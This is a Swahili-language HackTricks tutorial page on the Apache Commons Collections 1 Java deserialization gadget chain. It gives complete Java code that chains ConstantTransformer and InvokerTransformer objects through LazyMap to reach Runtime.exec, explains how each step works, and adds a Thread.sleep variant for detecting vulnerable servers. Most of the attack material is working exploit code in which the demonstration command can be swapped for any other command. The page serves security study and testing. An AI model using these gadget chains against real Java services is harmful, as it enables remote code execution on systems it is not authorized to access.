CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Java Transformers to Rutime exec()
Katika maeneo kadhaa unaweza kupata payload ya deserialization ya java inayotumia transformers kutoka kwa Apache common collections kama ifuatavyo:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Ikiwa hujui chochote kuhusu java deserialization payloads inaweza kuwa ngumu kuelewa kwa nini hii code itatekeleza calc.
Kwanza kabisa unahitaji kujua kwamba Transformer katika Java ni kitu ambacho kinapokea darasa na kikibadilisha kuwa darasa tofauti.
Pia ni muhimu kujua kwamba payload inayotekelezwa hapa ni sawa na:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Au kwa usahihi zaidi, kile kitakachotekelezwa mwishoni ni:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Jinsi
Hivyo, jinsi payload ya kwanza inavyowasilishwa ni sawa na zile "rahisi" one-liners?
Kwanza kabisa, unaweza kuona katika payload kwamba mnyororo (array) wa mabadiliko umeundwa:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Ikiwa utasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka.
Hivyo, mabadiliko hayo yanachanganywa vipi?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
Katika sehemu ya mwisho ya payload unaweza kuona kwamba kitu cha Ramani kinaundwa. Kisha, kazi decorate
inatekelezwa kutoka LazyMap
na kitu cha ramani na waongofu waliounganishwa. Kutoka kwa msimbo ufuatao unaweza kuona kwamba hii itasababisha waongofu waliounganishwa kunakiliwa ndani ya sifa ya lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Na kisha tamati kuu inatekelezwa: lazyMap.get("anything");
Hii ni msimbo wa kazi ya get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Na hii ndiyo nambari ya kazi ya transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Hivyo, kumbuka kwamba ndani ya factory tulikuwa tumehifadhi chainedTransformer
na ndani ya transform
kazi tunapitia mabadiliko yote yaliyofungamana na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba kila mabadiliko yanatumia object
kama ingizo na object ni matokeo kutoka kwa mabadiliko ya mwisho yaliyotekelezwa. Hivyo, mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya.
Muhtasari
Mwisho, kutokana na jinsi lazyMap inavyosimamia mabadiliko yaliyofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Kumbuka jinsi value
ni ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, kuruhusu utekelezaji wa mstari mmoja:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Kumbuka kwamba hapa ilielezwa vifaa vinavyotumika kwa ComonsCollections1 payload. Lakini imeachwa jinsi yote haya yanaanza kutekelezwa. Unaweza kuona hapa kwamba ysoserial, ili kutekeleza payload hii, inatumia kipande cha AnnotationInvocationHandler
kwa sababu wakati kipande hiki kinapokewa, kitafanya kuitisha kazi ya payload.get()
ambayo itatekeleza payload nzima.
Java Thread Sleep
Payload hii inaweza kuwa na manufaa kubaini kama wavuti ina udhaifu kwani itatekeleza usingizi ikiwa ina.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Vifaa Vingi Zaidi
Unaweza kupata vifaa vingi zaidi hapa: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.